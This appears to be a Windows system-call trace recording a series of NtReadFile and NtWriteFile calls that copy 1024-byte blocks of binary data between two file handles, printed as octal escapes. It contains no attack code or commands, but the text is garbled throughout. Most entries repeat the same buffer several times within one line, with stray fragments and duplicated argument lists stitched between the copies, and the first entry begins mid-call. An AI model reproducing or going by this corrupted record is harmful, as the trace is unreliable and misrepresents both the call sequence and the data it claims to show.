1024, 0x0, 0, ... {status=0x0, info=1024}, ) \245\17\304c\305=\34q+\334\275\271\342\27%>\272\330\325\323%\246!\320\253\2158\301NVG\225b\245|\376\34\321B\246\270W7H\222rB\272j\37\365\225\350\23\236v+\14\200\200b/\304n\255@\1\210\362U\31\316\213\210\223\3148\4m\373\350lw\323\376\364\270\250\324fG\363\37\222\356\315\214+\265\3316mK\203\244d\225\3516\354\236VH\246\30h\240Sb\33\23x\320\265\225\352\334\207\335%\274\247A\3\371\205\316\212\351\221\202\222\352]\223b\374`\1\360\241M\230\356Q\265\305\334\342\355M(K\264N\205K8\11\315ov\22\364\211\261\341\274r#\20A\217ykXW\15\364\211\243i1\335\324yb\25uB\326\215\243;\265\353h'\307\16<\217\267\350\354G8o\256\266y\346n\310A*\214\245\352x\373[\323\242\237\312\273K\272?hu\316\236\273\333F\3656\202\262x:\362\4\274\341\332\366\203\256\363|7\363\344\330\332\376 (92, 0, 0, 0, "\36D\365$\27H`\361N\345\256V\37\12G2\265'\307L\362\13\247\346\277M\335\331\211\352\364\344@N\200 \13*m\204\375\2428~J\300O\357\267\232\254p\363C\314V\255g\341\13\272,\303:\36\223N\357yr\37\377\372\235C\1\362\370\214\216\31\25\320\231\13.\366\311\226,g\350\3745\347@{\227\273\215^\345\242VR\305\361`\373\2533S\366\203\347\222Sa\215\213\35K\6\336\6\2075Y\236\301\352}\34S\315\346\372\11\177,q\235\250\361E6\356\354\344m\226\226\4\257J\261\373gH\204\25}"\245\17\304c\305=\34q+\334\275\271\342\27%>\272\330\325\323%\246!\320\253\2158\301NVG\225b\245|\376\34\321B\246\270W7H\222rB\272j\37\365\225\350\23\236v+\14\200\200b/\304n\255@\1\210\362U\31\316\213\210\223\3148\4m\373\350lw\323\376\364\270\250\324fG\363\37\222\356\315\214+\265\3316mK\203\244d\225\3516\354\236VH\246\30h\240Sb\33\23x\320\265\225\352\334\207\335%\274\247A\3\371\205\316\212\351\221\202\222\352]\223b\374`\1\360\241M\230\356Q\265\305\334\342\355M(K\264N\205K8\11\315ov\22\364\211\261\341\274r#\20A\217ykXW\15\364\211\243i1\335\324yb\25uB\326\215\243;\265\353h'\307\16<\217\267\350\354G8o\256\266y\346n\310A*\214\245\352x\373[\323\242\237\312\273K\272?hu\316\236\273\333F\3656\202\262x:\362\4\274\341\332\366\203\256\363|7\363\344\330\332\376"6\326\2\37w\30\265\2405\227\11;\271\2\321\336\227PH\37\273\362\354\14\202%HD\12\336j\3746`as\357-\271\365\311X\341+\272\230\23\327\275\377\323,\344n\305\245$\204\324\256P\342\207\304", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01148  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "loJ\227\322^=\341"'\314\221&$x\301\273J,\205\267\256\322\316\322\5\264\2457\372\262\365\372\3047\247\310\231\35\235\23\333\4\252\332\256jL\17\247\22}+\253!\341\256W`\272:\374\334\361\3666\262\257\256;<>n\265\235\217\35\35M\0q\233\346\270\304\246=\330\353+\351\2411\247s\24e\332\302"\366\367\2738\177v\371yb`{\33\37LNy\251\241\260\300\6\253O\266\274\15\356\313(\214\247o3\373`\362\275\341\366HP\371\373\21\364\264\356\253?\314\30\334\33\354\200!B(\317t\7 \235\211\262@\355/\174\360=\307egR\273\20\231q;\17\31\370\177\30(9\243\36\11\221oC\314\340\3047\10\15\354\313*\270\17\13 \20\26\221\241\326\221\10\35\2003\30\31\272]Q#9<;\7\2014\26!\31/\307)bK%\330g^\177\365\241\27\326\24k^S\1Y8\332 \225\231\350+#\375*\253\215\231\2233@0\213\223I\7\10\373)\245K8\243\274>^d"KG0$mR\314`];cY\337<\2756\332\351\24724>\350>6:n\3632y\375\24]\330\21\373\345.\26r\356*nS3K-2N*\5\321\3224<\203,\3721|\253\332&)r\344g\277\31\10\221^\37\14.\301qWg\263b\272\26**y\14(\244\262G\304\361\212\24\2444D\34\350|\233/T\15\36\215\37\303\300\13\203Q\262\241\326T@\326H\211\22\16\346O$b.\235!\2131\22+\270>eea\215??@x\224\23\37$\240\346\361<%.\344\270.*\347", ) '\314\221&$x\301\273J,\205\267\256\322\316\322\5\264\2457\372\262\365\372\3047\247\310\231\35\235\23\333\4\252\332\256jL\17\247\22}+\253!\341\256W`\272:\374\334\361\3666\262\257\256;<>n\265\235\217\35\35M\0q\233\346\270\304\246=\330\353+\351\2411\247s\24e\332\302 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "loJ\227\322^=\341"'\314\221&$x\301\273J,\205\267\256\322\316\322\5\264\2457\372\262\365\372\3047\247\310\231\35\235\23\333\4\252\332\256jL\17\247\22}+\253!\341\256W`\272:\374\334\361\3666\262\257\256;<>n\265\235\217\35\35M\0q\233\346\270\304\246=\330\353+\351\2411\247s\24e\332\302"\366\367\2738\177v\371yb`{\33\37LNy\251\241\260\300\6\253O\266\274\15\356\313(\214\247o3\373`\362\275\341\366HP\371\373\21\364\264\356\253?\314\30\334\33\354\200!B(\317t\7 \235\211\262@\355/\174\360=\307egR\273\20\231q;\17\31\370\177\30(9\243\36\11\221oC\314\340\3047\10\15\354\313*\270\17\13 \20\26\221\241\326\221\10\35\2003\30\31\272]Q#9<;\7\2014\26!\31/\307)bK%\330g^\177\365\241\27\326\24k^S\1Y8\332 \225\231\350+#\375*\253\215\231\2233@0\213\223I\7\10\373)\245K8\243\274>^d"KG0$mR\314`];cY\337<\2756\332\351\24724>\350>6:n\3632y\375\24]\330\21\373\345.\26r\356*nS3K-2N*\5\321\3224<\203,\3721|\253\332&)r\344g\277\31\10\221^\37\14.\301qWg\263b\272\26**y\14(\244\262G\304\361\212\24\2444D\34\350|\233/T\15\36\215\37\303\300\13\203Q\262\241\326T@\326H\211\22\16\346O$b.\235!\2131\22+\270>eea\215??@x\224\23\37$\240\346\361<%.\344\270.*\347", )  \225\231\350+#\375*\253\215\231\2233@0\213\223I\7\10\373)\245K8\243\274>^d (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "loJ\227\322^=\341"'\314\221&$x\301\273J,\205\267\256\322\316\322\5\264\2457\372\262\365\372\3047\247\310\231\35\235\23\333\4\252\332\256jL\17\247\22}+\253!\341\256W`\272:\374\334\361\3666\262\257\256;<>n\265\235\217\35\35M\0q\233\346\270\304\246=\330\353+\351\2411\247s\24e\332\302"\366\367\2738\177v\371yb`{\33\37LNy\251\241\260\300\6\253O\266\274\15\356\313(\214\247o3\373`\362\275\341\366HP\371\373\21\364\264\356\253?\314\30\334\33\354\200!B(\317t\7 \235\211\262@\355/\174\360=\307egR\273\20\231q;\17\31\370\177\30(9\243\36\11\221oC\314\340\3047\10\15\354\313*\270\17\13 \20\26\221\241\326\221\10\35\2003\30\31\272]Q#9<;\7\2014\26!\31/\307)bK%\330g^\177\365\241\27\326\24k^S\1Y8\332 \225\231\350+#\375*\253\215\231\2233@0\213\223I\7\10\373)\245K8\243\274>^d"KG0$mR\314`];cY\337<\2756\332\351\24724>\350>6:n\3632y\375\24]\330\21\373\345.\26r\356*nS3K-2N*\5\321\3224<\203,\3721|\253\332&)r\344g\277\31\10\221^\37\14.\301qWg\263b\272\26**y\14(\244\262G\304\361\212\24\2444D\34\350|\233/T\15\36\215\37\303\300\13\203Q\262\241\326T@\326H\211\22\16\346O$b.\235!\2131\22+\270>eea\215??@x\224\23\37$\240\346\361<%.\344\270.*\347", ) , ) == 0x0
 01149  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\232\25\215\274`\376>4\312\2\262\24\360\24'\261u\255:0\347\307+\2164\366jF\201\10\3558\11s\230eR\7\254M:\365H\354\220[G\346\216\220\266\242\22t\373;\344\317<\353S\272d\27\347\7\331l%|\6\24\340u"|\247r\370>r\214\333"\205\206|i\361\210\10bwH\345\274\377\274%\355\243\355\273\200#A\201L2\256\366J9\10\3\14i\207A\355\266\31\15\310\231\305s1\252M&H\252\2569u\2767\15_\220l\236\240\23**\225\360\270\351\322\251\342\367\335\302\343i>3w\323\74\373d\364\10\11&RB\252X>\14P@\35\204n\363s\\231c7\346\316R\255bb\2\7\276<7\246\331\202<\274\25\263\256\232`\27A\353G\1M>*\257\221:\212\2444#\13\240\305\243\356\266,\3569\307\344\206\303\325\242u\361\314\242?>H\241J\261y\35\22Wh\372\276} \226\247\\267!7\361\353\11\377v{\263eZ\360Mc,\313e\362\12\301m\212\225\246\210\324 \3504\223\263\7h\314D\32M\101/Wg]\10B\230\270\303N|0+\342\375\355\260D\314\360e\301\15B\17\372yn\37\347\35\364\267\246\354\11\2\27\20\201\3443\251&lF\263D\37\22\236\\32045\30E\364b\204Y\245\37\375\302$B\246\260a\206\246\341\212\257\316\24\367t,\321\222\364\222\373'=}e\307\251\261\311\206\274\26M#\353\0\212e\32[\2L\325\240;\366~\0\321q\316|O\357)\4\271\350X\177\356Xfn\365\364XS\244\201[\227~\246\220\362mzJl[\2247c\315\201\247\315\4 \330\362\225\302'\254\300\226\20s\240\30\324\3\33051\331\3453\246\326\266\312\377V~\25\337\1\200v*\242\30\315\356\3121XrN\331\326", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) |\247r\370>r\214\333 (92, 0, 0, 0, "\232\25\215\274`\376>4\312\2\262\24\360\24'\261u\255:0\347\307+\2164\366jF\201\10\3558\11s\230eR\7\254M:\365H\354\220[G\346\216\220\266\242\22t\373;\344\317<\353S\272d\27\347\7\331l%|\6\24\340u"|\247r\370>r\214\333"\205\206|i\361\210\10bwH\345\274\377\274%\355\243\355\273\200#A\201L2\256\366J9\10\3\14i\207A\355\266\31\15\310\231\305s1\252M&H\252\2569u\2767\15_\220l\236\240\23**\225\360\270\351\322\251\342\367\335\302\343i>3w\323\74\373d\364\10\11&RB\252X>\14P@\35\204n\363s\\231c7\346\316R\255bb\2\7\276<7\246\331\202<\274\25\263\256\232`\27A\353G\1M>*\257\221:\212\2444#\13\240\305\243\356\266,\3569\307\344\206\303\325\242u\361\314\242?>H\241J\261y\35\22Wh\372\276} \226\247\\267!7\361\353\11\377v{\263eZ\360Mc,\313e\362\12\301m\212\225\246\210\324 \3504\223\263\7h\314D\32M\101/Wg]\10B\230\270\303N|0+\342\375\355\260D\314\360e\301\15B\17\372yn\37\347\35\364\267\246\354\11\2\27\20\201\3443\251&lF\263D\37\22\236\\32045\30E\364b\204Y\245\37\375\302$B\246\260a\206\246\341\212\257\316\24\367t,\321\222\364\222\373'=}e\307\251\261\311\206\274\26M#\353\0\212e\32[\2L\325\240;\366~\0\321q\316|O\357)\4\271\350X\177\356Xfn\365\364XS\244\201[\227~\246\220\362mzJl[\2247c\315\201\247\315\4 \330\362\225\302'\254\300\226\20s\240\30\324\3\33051\331\3453\246\326\266\312\377V~\25\337\1\200v*\242\30\315\356\3121XrN\331\326", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01150  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262 \20\300\374\264\33\316\377\272\372\273=m\34)t\36H!#\25%\240:\3\353\366\244,\246P\26702#3\37b\2179\271\202\267G\30=S\371_8q\36\36\323!\211E\217\26\320O\327)\216(zmh\13\232\2210(4 0Y\31~\2739\264y\32\33\363>B\266\36\15\311r\33:\34G\36\346\20\312\22\307\27{\24\270\12\211\10\332\16\200\12\303\4p\5h\3\364\1\366"\34!\7\37\0\35o\33y\31R\27\231\25\363\23--\177213\25746i\7T\11B\13\266\15\237\17\266,\333.\364\20\15t\250\354\20f7h\211\7V\14\313.=``\342\212\Dr7,"[,|\205\13\377\30 ?\12\200\300\35!)!O. Bf\356"x\11\12E`2`\333&\367?\37\3740;>\3342\20\337\22L\220X_\0\250|\37\314\377\266\337\354!kK}1y\307\363\225\22#b\345"e\307\354\350?4\352:/3\2341A\226\20\177\177\233\244!95)V\15$,".)0h\2131\370T6\264\3241inj=i\264g8\35zr\241!\347$mFKW{\351&yi\255\35/4\2203pU\363~\267YW^WY=;=\31\15]\203kEg\2\213$#o\267kdz\5\254".+\20\242\22@M[65\3312[O\34I_\\0\4.\341OJ\336:rsr\206\11\250>\241\36\200>o\275\20\320\277\267\26\262B-\351\324\366\226\233\262\36\240\210l6tt\237\340Z j\257\3047.S\275d\336\2124\336\234\32588h\262I-\322\327\377?\235\210R", ) \34!\7\37\0\35o\33y\31R\27\231\25\363\23--\177213\25746i\7T\11B\13\266\15\237\17\266,\333.\364\20\15t\250\354\20f7h\211\7V\14\313.=``\342\212\Dr7, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262 \20\300\374\264\33\316\377\272\372\273=m\34)t\36H!#\25%\240:\3\353\366\244,\246P\26702#3\37b\2179\271\202\267G\30=S\371_8q\36\36\323!\211E\217\26\320O\327)\216(zmh\13\232\2210(4 0Y\31~\2739\264y\32\33\363>B\266\36\15\311r\33:\34G\36\346\20\312\22\307\27{\24\270\12\211\10\332\16\200\12\303\4p\5h\3\364\1\366"\34!\7\37\0\35o\33y\31R\27\231\25\363\23--\177213\25746i\7T\11B\13\266\15\237\17\266,\333.\364\20\15t\250\354\20f7h\211\7V\14\313.=``\342\212\Dr7,"[,|\205\13\377\30 ?\12\200\300\35!)!O. Bf\356"x\11\12E`2`\333&\367?\37\3740;>\3342\20\337\22L\220X_\0\250|\37\314\377\266\337\354!kK}1y\307\363\225\22#b\345"e\307\354\350?4\352:/3\2341A\226\20\177\177\233\244!95)V\15$,".)0h\2131\370T6\264\3241inj=i\264g8\35zr\241!\347$mFKW{\351&yi\255\35/4\2203pU\363~\267YW^WY=;=\31\15]\203kEg\2\213$#o\267kdz\5\254".+\20\242\22@M[65\3312[O\34I_\\0\4.\341OJ\336:rsr\206\11\250>\241\36\200>o\275\20\320\277\267\26\262B-\351\324\366\226\233\262\36\240\210l6tt\237\340Z j\257\3047.S\275d\336\2124\336\234\32588h\262I-\322\327\377?\235\210R", ) x\11\12E`2`\333&\367?\37\3740;>\3342\20\337\22L\220X_\0\250|\37\314\377\266\337\354!kK}1y\307\363\225\22#b\345 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262 \20\300\374\264\33\316\377\272\372\273=m\34)t\36H!#\25%\240:\3\353\366\244,\246P\26702#3\37b\2179\271\202\267G\30=S\371_8q\36\36\323!\211E\217\26\320O\327)\216(zmh\13\232\2210(4 0Y\31~\2739\264y\32\33\363>B\266\36\15\311r\33:\34G\36\346\20\312\22\307\27{\24\270\12\211\10\332\16\200\12\303\4p\5h\3\364\1\366"\34!\7\37\0\35o\33y\31R\27\231\25\363\23--\177213\25746i\7T\11B\13\266\15\237\17\266,\333.\364\20\15t\250\354\20f7h\211\7V\14\313.=``\342\212\Dr7,"[,|\205\13\377\30 ?\12\200\300\35!)!O. Bf\356"x\11\12E`2`\333&\367?\37\3740;>\3342\20\337\22L\220X_\0\250|\37\314\377\266\337\354!kK}1y\307\363\225\22#b\345"e\307\354\350?4\352:/3\2341A\226\20\177\177\233\244!95)V\15$,".)0h\2131\370T6\264\3241inj=i\264g8\35zr\241!\347$mFKW{\351&yi\255\35/4\2203pU\363~\267YW^WY=;=\31\15]\203kEg\2\213$#o\267kdz\5\254".+\20\242\22@M[65\3312[O\34I_\\0\4.\341OJ\336:rsr\206\11\250>\241\36\200>o\275\20\320\277\267\26\262B-\351\324\366\226\233\262\36\240\210l6tt\237\340Z j\257\3047.S\275d\336\2124\336\234\32588h\262I-\322\327\377?\235\210R", ) .)0h\2131\370T6\264\3241inj=i\264g8\35zr\241!\347$mFKW{\351&yi\255\35/4\2203pU\363~\267YW^WY=;=\31\15]\203kEg\2\213$#o\267kdz\5\254 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262 \20\300\374\264\33\316\377\272\372\273=m\34)t\36H!#\25%\240:\3\353\366\244,\246P\26702#3\37b\2179\271\202\267G\30=S\371_8q\36\36\323!\211E\217\26\320O\327)\216(zmh\13\232\2210(4 0Y\31~\2739\264y\32\33\363>B\266\36\15\311r\33:\34G\36\346\20\312\22\307\27{\24\270\12\211\10\332\16\200\12\303\4p\5h\3\364\1\366"\34!\7\37\0\35o\33y\31R\27\231\25\363\23--\177213\25746i\7T\11B\13\266\15\237\17\266,\333.\364\20\15t\250\354\20f7h\211\7V\14\313.=``\342\212\Dr7,"[,|\205\13\377\30 ?\12\200\300\35!)!O. Bf\356"x\11\12E`2`\333&\367?\37\3740;>\3342\20\337\22L\220X_\0\250|\37\314\377\266\337\354!kK}1y\307\363\225\22#b\345"e\307\354\350?4\352:/3\2341A\226\20\177\177\233\244!95)V\15$,".)0h\2131\370T6\264\3241inj=i\264g8\35zr\241!\347$mFKW{\351&yi\255\35/4\2203pU\363~\267YW^WY=;=\31\15]\203kEg\2\213$#o\267kdz\5\254".+\20\242\22@M[65\3312[O\34I_\\0\4.\341OJ\336:rsr\206\11\250>\241\36\200>o\275\20\320\277\267\26\262B-\351\324\366\226\233\262\36\240\210l6tt\237\340Z j\257\3047.S\275d\336\2124\336\234\32588h\262I-\322\327\377?\235\210R", ) , ) == 0x0
 01151  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\16\277\342\5y\347I\326\206dI\266\341\335gE\2771\275\245M=h\177$Pk+\206\313\302\360Vg\3073\207?\201\5Z\251B\365\357|J \327V^\215tO^\313\265\334\345\302\224P]3\271\343\220\360\343\203\234\12\344y\240W-0(\234\333\211u\337\177\35\374\250i\12w;\261q\37\340\3\302\265\23R\205w\16\234\343\242/P\240\23\27\261\317\367\34V\35\302\354\337\0q\350U\300 D1o\322\276Q3\25\242\243$\3\302$\33\251\362\317\243\32\262\354\213n%\27\212Kv@\256Y\20\31r\356\301\342[%N\27\254\263\11\224\375\7\231\211e\262\2208\33\325\364\332\233^\!\233\255\326B\202H\305\210\203\221\2552&\0\177.\26,$\330\242\346L\261\232\345\16\316TJ k\224g\320[y\271@x\31\342\261\36|\253\352oO\32\375\207*\236/\12\25s:\311LD\341\5\24L\313[\354\333al\321Ut\37Q\25Qv\352:\253B\244a=xI\247\306\12\260\227\6Gr`\301D\3629)u\0tGh\6\313\227l\230\205\222u:\224\10\274\304\350\323^\256:\14\232\266\272l\260\336\313zV\265_rRR=\310\375cb\361'\302\244p15&\244\313S\375l\370\6)?\242\3778\311\327\237\366'\240\320g\373\313\225\313\364\222_?\15\20-B\346\367\35\335\23\215Q\236e\234$2\2511ICo0\326u\233\337\237\335\345\301\327c@\0.:\305\3\223\247%A\364\313\264\225A\233m\240\331(W9@r\315\334P\337\252+'Q\2063\203\223\224\276\371\213\344\0\25\202\306h6\344\313\312;\226x\324\242P\23W\314O\274=\236\365\215\260\20~\203b\214\252;Uwv\343\361\202\224\276\2136e%\231\335", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) ~\203b\214\252;Uwv\343\361\202\224\276\2136e%\231\335", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01152  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\347U+\352\30\354}\346\2552\375\2601\344\2674\343m\2738\343\276?\342\275\31\374\237\34\373u\243 \313\246'\312\245*\331\250)\330 \254-\310\2630\262\235\312\2379l8p8\277<7\231\36\21\\36\200t\240$\270g'\277j(\276i)\323+\267\3013b\3216f\3355\355=8C=?\276=\31/\22\34\360\224#!\224'$4'+*)\24\12"\345\35\2000\323\2067\336\211\3670>8\35659<\346z+\21\355\203!\21,\206\301\346'\2201\237\253)\246\242\13`\36113kkR\27659>`\230\274\372~\30\337\215\35\37\354\36"\334\33%\31'7)5+3-1//1-3\313*6(8&:$<"> \33\3\35\1\37\337>"<$:&8\310,\257\353Yyi,\342-\3627^1u4\2y9H\16,~B\2378\211N\34"\311\310J\24#\243\347H.2\273.\230* \260\245v\27'\335\2659X{q\273<\215p,\353\h\32\337^2i".\245z'T\4V\4P\27R\150Mr3\27I64\359I;>\30M\37>o\35\23\25 $\2#'\5&\12G)+EIY\16/CYSAQ\25WS8TSU\30\35\21[~\34q{kE\1\15Z?1\316\263}\354\2564H-5G\3705\7c$\335\342\343\272@"\273')/\275b\10\365\230\2349-\312\1\265\246?3\300\30\2532\214\23\2556\270)\332\222\265,r\23(\271!\310?q#\363O\230-\360\344\204#\32\314\370\304&\354V$\310-\25\306\342\3200\232$\2\273\271i\2718\323O\242{\336\30?\371\35)\310B\300"\321\207+\304)\34\302x\316,\351\3131\31\6\333w\3277\256\334", ) \345\35\2000\323\2067\336\211\3670>8\35659<\346z+\21\355\203!\21,\206\301\346'\2201\237\253)\246\242\13`\36113kkR\27659>`\230\274\372~\30\337\215\35\37\354\36 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\347U+\352\30\354}\346\2552\375\2601\344\2674\343m\2738\343\276?\342\275\31\374\237\34\373u\243 \313\246'\312\245*\331\250)\330 \254-\310\2630\262\235\312\2379l8p8\277<7\231\36\21\\36\200t\240$\270g'\277j(\276i)\323+\267\3013b\3216f\3355\355=8C=?\276=\31/\22\34\360\224#!\224'$4'+*)\24\12"\345\35\2000\323\2067\336\211\3670>8\35659<\346z+\21\355\203!\21,\206\301\346'\2201\237\253)\246\242\13`\36113kkR\27659>`\230\274\372~\30\337\215\35\37\354\36"\334\33%\31'7)5+3-1//1-3\313*6(8&:$<"> \33\3\35\1\37\337>"<$:&8\310,\257\353Yyi,\342-\3627^1u4\2y9H\16,~B\2378\211N\34"\311\310J\24#\243\347H.2\273.\230* \260\245v\27'\335\2659X{q\273<\215p,\353\h\32\337^2i".\245z'T\4V\4P\27R\150Mr3\27I64\359I;>\30M\37>o\35\23\25 $\2#'\5&\12G)+EIY\16/CYSAQ\25WS8TSU\30\35\21[~\34q{kE\1\15Z?1\316\263}\354\2564H-5G\3705\7c$\335\342\343\272@"\273')/\275b\10\365\230\2349-\312\1\265\246?3\300\30\2532\214\23\2556\270)\332\222\265,r\23(\271!\310?q#\363O\230-\360\344\204#\32\314\370\304&\354V$\310-\25\306\342\3200\232$\2\273\271i\2718\323O\242{\336\30?\371\35)\310B\300"\321\207+\304)\34\302x\316,\351\3131\31\6\333w\3277\256\334", ) > \33\3\35\1\37\337> (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\347U+\352\30\354}\346\2552\375\2601\344\2674\343m\2738\343\276?\342\275\31\374\237\34\373u\243 \313\246'\312\245*\331\250)\330 \254-\310\2630\262\235\312\2379l8p8\277<7\231\36\21\\36\200t\240$\270g'\277j(\276i)\323+\267\3013b\3216f\3355\355=8C=?\276=\31/\22\34\360\224#!\224'$4'+*)\24\12"\345\35\2000\323\2067\336\211\3670>8\35659<\346z+\21\355\203!\21,\206\301\346'\2201\237\253)\246\242\13`\36113kkR\27659>`\230\274\372~\30\337\215\35\37\354\36"\334\33%\31'7)5+3-1//1-3\313*6(8&:$<"> \33\3\35\1\37\337>"<$:&8\310,\257\353Yyi,\342-\3627^1u4\2y9H\16,~B\2378\211N\34"\311\310J\24#\243\347H.2\273.\230* \260\245v\27'\335\2659X{q\273<\215p,\353\h\32\337^2i".\245z'T\4V\4P\27R\150Mr3\27I64\359I;>\30M\37>o\35\23\25 $\2#'\5&\12G)+EIY\16/CYSAQ\25WS8TSU\30\35\21[~\34q{kE\1\15Z?1\316\263}\354\2564H-5G\3705\7c$\335\342\343\272@"\273')/\275b\10\365\230\2349-\312\1\265\246?3\300\30\2532\214\23\2556\270)\332\222\265,r\23(\271!\310?q#\363O\230-\360\344\204#\32\314\370\304&\354V$\310-\25\306\342\3200\232$\2\273\271i\2718\323O\242{\336\30?\371\35)\310B\300"\321\207+\304)\34\302x\316,\351\3131\31\6\333w\3277\256\334", ) \311\310J\24#\243\347H.2\273.\230* \260\245v\27'\335\2659X{q\273<\215p,\353\h\32\337^2i (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\347U+\352\30\354}\346\2552\375\2601\344\2674\343m\2738\343\276?\342\275\31\374\237\34\373u\243 \313\246'\312\245*\331\250)\330 \254-\310\2630\262\235\312\2379l8p8\277<7\231\36\21\\36\200t\240$\270g'\277j(\276i)\323+\267\3013b\3216f\3355\355=8C=?\276=\31/\22\34\360\224#!\224'$4'+*)\24\12"\345\35\2000\323\2067\336\211\3670>8\35659<\346z+\21\355\203!\21,\206\301\346'\2201\237\253)\246\242\13`\36113kkR\27659>`\230\274\372~\30\337\215\35\37\354\36"\334\33%\31'7)5+3-1//1-3\313*6(8&:$<"> \33\3\35\1\37\337>"<$:&8\310,\257\353Yyi,\342-\3627^1u4\2y9H\16,~B\2378\211N\34"\311\310J\24#\243\347H.2\273.\230* \260\245v\27'\335\2659X{q\273<\215p,\353\h\32\337^2i".\245z'T\4V\4P\27R\150Mr3\27I64\359I;>\30M\37>o\35\23\25 $\2#'\5&\12G)+EIY\16/CYSAQ\25WS8TSU\30\35\21[~\34q{kE\1\15Z?1\316\263}\354\2564H-5G\3705\7c$\335\342\343\272@"\273')/\275b\10\365\230\2349-\312\1\265\246?3\300\30\2532\214\23\2556\270)\332\222\265,r\23(\271!\310?q#\363O\230-\360\344\204#\32\314\370\304&\354V$\310-\25\306\342\3200\232$\2\273\271i\2718\323O\242{\336\30?\371\35)\310B\300"\321\207+\304)\34\302x\316,\351\3131\31\6\333w\3277\256\334", ) \273')/\275b\10\365\230\2349-\312\1\265\246?3\300\30\2532\214\23\2556\270)\332\222\265,r\23(\271!\310?q#\363O\230-\360\344\204#\32\314\370\304&\354V$\310-\25\306\342\3200\232$\2\273\271i\2718\323O\242{\336\30?\371\35)\310B\300 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\347U+\352\30\354}\346\2552\375\2601\344\2674\343m\2738\343\276?\342\275\31\374\237\34\373u\243 \313\246'\312\245*\331\250)\330 \254-\310\2630\262\235\312\2379l8p8\277<7\231\36\21\\36\200t\240$\270g'\277j(\276i)\323+\267\3013b\3216f\3355\355=8C=?\276=\31/\22\34\360\224#!\224'$4'+*)\24\12"\345\35\2000\323\2067\336\211\3670>8\35659<\346z+\21\355\203!\21,\206\301\346'\2201\237\253)\246\242\13`\36113kkR\27659>`\230\274\372~\30\337\215\35\37\354\36"\334\33%\31'7)5+3-1//1-3\313*6(8&:$<"> \33\3\35\1\37\337>"<$:&8\310,\257\353Yyi,\342-\3627^1u4\2y9H\16,~B\2378\211N\34"\311\310J\24#\243\347H.2\273.\230* \260\245v\27'\335\2659X{q\273<\215p,\353\h\32\337^2i".\245z'T\4V\4P\27R\150Mr3\27I64\359I;>\30M\37>o\35\23\25 $\2#'\5&\12G)+EIY\16/CYSAQ\25WS8TSU\30\35\21[~\34q{kE\1\15Z?1\316\263}\354\2564H-5G\3705\7c$\335\342\343\272@"\273')/\275b\10\365\230\2349-\312\1\265\246?3\300\30\2532\214\23\2556\270)\332\222\265,r\23(\271!\310?q#\363O\230-\360\344\204#\32\314\370\304&\354V$\310-\25\306\342\3200\232$\2\273\271i\2718\323O\242{\336\30?\371\35)\310B\300"\321\207+\304)\34\302x\316,\351\3131\31\6\333w\3277\256\334", ) , ) == 0x0
 01153  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\306\223so\324>\327\353`\247\322\367\374\3378T\266MR\331pXa\6B\273\31\37\205\252w\205\365[B\241\373^\257\214)}/\37\3021q\366\300\346a\312G\373\324\22z}V\33'\1\314j2\5\22\347\301\341w\211\377>i\334\222\314\364\311\33b#0\217x\216\23g\320\364\323y\321d\254\2471\317{\251\3^\245I\351\262[\313\302\302\346"\241'\343\10bX\307\223\276n:&>8!\373P~\364\232\33\333\245g\307\26\356\79\2242?\277cG\\345b\237\202\0\241\300\37\206E\16\313*\356J\314\272Q\22*\355\34\365\342\15\364\15\207kv\322o\206Sz\255\345=@\217\260O;n\350\350_\211\333\342\315\220\13\323\343_\227\260\277\266\263\205Of}\272\245\317\341\313\34u\313\236\260\277\274\3728\31\360\225\356Bn\177\271\6\272\234\10\311\260%y\375\200\20\243\16\230{\256:t\273\373vT\14\343|\362\23\202&/\241Z\251?\21i"\251?9@\34-\311\331\30ir\237:{\233\345\e\302T\340}>BVAF\251\324=\205F\263\214r\250\14\363\36\234\313\242D\204\27\14 \35X\344\250\356\16\352\371\367\331<*HCTZ9\311\352x\331;\3429\225-\350\26l\12\314yS\240h\306\265\353I3\275>\374;\372x\261\235\366\25#Y\233n\327@f\251\305l\2751\305_\333\22SP\7\202\222\35n\357\360\243\214O\364\206p\320\236\12T\15\265i\30![\346v\201p=(\222\5\2332H\36\225\310\15\346qZ\237`J_`t\247\362};\310\274@U\325Q\313\332\364\210))7\212M3\223u"\316\377\241A@H\375h}%d\251\324\205\244\322(\245\313\366Q\203k\302\314$-\276\20\35\14c\304\217C\357\227G\312\320\220\363", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 